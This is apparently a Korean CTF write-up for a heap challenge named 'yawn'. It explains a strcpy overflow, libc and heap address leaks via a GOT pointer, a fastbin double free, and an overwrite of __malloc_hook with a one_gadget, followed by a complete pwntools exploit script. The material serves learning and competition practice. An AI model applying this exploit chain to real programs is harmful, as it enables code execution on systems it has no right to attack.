반응형
YAWN
위는 add_note 함수를 나타낸 것이다. 취약점은 다음 insert 함수의 strcpy에서 발생한다.
이 insert 함수를 부르기 전 스택 상황을 보면, 다음과 같다.
먼저, 입력을 name, desc 두 번 받는데, 위의 상황에서는 name에 "AAA..."를 desc에 "00000..."를 입력하였다.
이 때, 발견할 수 있는 점은, name의 80bytes를 가득 줬을 때, 뒤의 desc부분 또한 strcpy를 통해 table[idx]->name에 복사가 가능하다는 것이다.
다음은 table의 구조를 나타낸다. size 및 desc 뿐만 아니라 그 이상의 영역까지 덮어버릴 수 있음을 알 수 있다.
view_note 함수가 위처럼 table[idx]->desc 포인터를 참조하여 출력해주기 때문에, 해당 위치에 fgets@got(0x601fc0)와 table(0x602040) 값을 넣어주면 libc와 heap을 leak할 수 있다.
그리고, 아래와 같이 remove_note 함수에서는 table[idx]->desc pointer를 이용하여 free를 하기 때무넹, 한 table의 desc를 다른 table로 가리키게 하면, 두 table을 remove 했을 때, double free가 가능하게 할 수 있다.
정리
[+] 포인트 :
- strcpy 취약점을 이용한 덮어쓰기.
- table[idx]->desc pointer를 이용한 libc 및 heap address leak.
- 마찬가지로 table[idx]->desc pointer를 이용한 double free.
[+] 시나리오 :
- libc base와 heap base를 leak함.
- malloc_hook 쪽 메모리를 할당하기 위해서는 0x70 size의 chunk를 free해야함. 마침 table의 size가 0x70임.
- 따라서, 어떤 table에서 table[idx]->desc pointer를 다른 table의 table[idx]->name 값으로 지정하면, 해당 name을 가리키는 pointer는 두 개가 됨.
- idx 3번의 desc pointer를 idx 2번의 name의 주소로 지정한다면, free(idx 2) -> free(idx 4) -> free(idx 3) 진행 시, double free가 됨.
- 0x70 size에 맞추어 할당을 잘 받고, double free된 fd에 malloc_hook 쪽의 할당가능한 메모리 주소 값을 입력해주면, 차후 malloc_hook을 덮어쓸 수 있게됨.
- malloc_hook을 one_gadget으로 덮어씀.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | #!/usr/bin/env python 2.7 from pwn import * r = process("./yawn", env = {'LD_PRELOAD':'./libc.so.6'}) #r = process('./yawn_patched') #context.log_level = 'debug' breakpoint = { 'add_note':0x400ae8, 'add1':0x400c0b, 'edit_note':0x400c88, 'remove_note':0x400e50, 'view_note':0x400f0a } def add_note(name, desc): r.sendlineafter(">> ","1") r.sendafter("Enter name: ",name) r.sendafter("Enter desc: ",desc) def view_note(idx): r.sendlineafter(">> ",'4') r.sendafter("Enter idx: ",idx) def remove_note(idx): r.sendlineafter(">> ","3") r.sendafter('Enter idx: ',idx) def edit_note(idx, name, size, desc): r.sendlineafter(">> ", '2') r.sendafter("Enter index: ",idx) r.sendafter("Enter name: ",name) r.sendafter("Enter size: ",size) r.sendafter("Enter desc: ",desc) pause() #### libc leak #### add_note("A"*80, "0"*0x8 + p64(0x601fc0) + '\n') # fgets@got leak 0x601fc0 view_note('0') r.recvuntil("Description : ") leak = u64(r.recv(6).ljust(8,'\x00')) libc_base = leak - 449232 success("libc_base = {}".format(hex(libc_base))) malloc_hook = libc_base + 3951376 success("malloc_hook = {}".format(hex(malloc_hook))) #### heap leak #### table = 0x602040 add_note("A"*80, '1'*8 + p64(table) + '\n') view_note('1') r.recvuntil("Description : ") leak = u64(r.recvline()[:-1].ljust(8,'\x00')) heap_table = leak success('heap_table_start = {}'.format(hex(heap_table))) #### exploit #### add_note('A'*50 + '\n', '2'*8 + '\n') add_note('A'*80, '3'*0x8 + p64(heap_table + 288) + '\n') add_note('A'*50 + '\n', '4'*8 + '\n') remove_note('2') remove_note('4') remove_note('3') edit_note('0','A'*50 + '\n', str(100) + '\n', 'A'*(0x60-1) + '\n') add_note(p64(libc_base + 3951341) + '\n', '5'*8 + '\n') # allocate &__malloc_hook + 35 add_note('A'*50 + '\n', '6'*8 + '\n') add_note('A'*50 + '\n', '7'*8 + '\n') one_gadget = libc_base + 0xf02a4 success('one_gadget = {}'.format(hex(one_gadget))) add_note('A'*19 + p64(one_gadget) + '\n', '8'*8+'\n') # write malloc_hook add_note('A' + '\n', 'A' + '\n') # gdb.attach(r,'break {}'.format(breakpoint['view_note'])) # view_note('0') r.interactive() | cs |
###################### feedback #########################
printf@got 나 alarm@got로 왜 안되나 했더니 둘 다 libc 주소가 00으로 끝난다..
fgets()로 입력받는 것들은 r.sendafter 써야 하는듯? 안 하면 버퍼에 '\n'라 계속 들어있는 문제가 발생해서 다음 입력이 안 먹힘
&__malloc_hook 쪽에 바로 free를 시켜서 공간을 할당받지는 못함.
반응형
'Write-up' 카테고리의 다른 글
[RITSEC 2018] write up (0) | 2018.11.19 |
---|---|
[InCTF 2018] Lost writeup (0) | 2018.11.06 |
[InCTF 2018] Magical Radio writeup (0) | 2018.10.20 |
[InCTF 2018] writeup (0) | 2018.10.16 |
[CSAW 2018] writeup (0) | 2018.09.21 |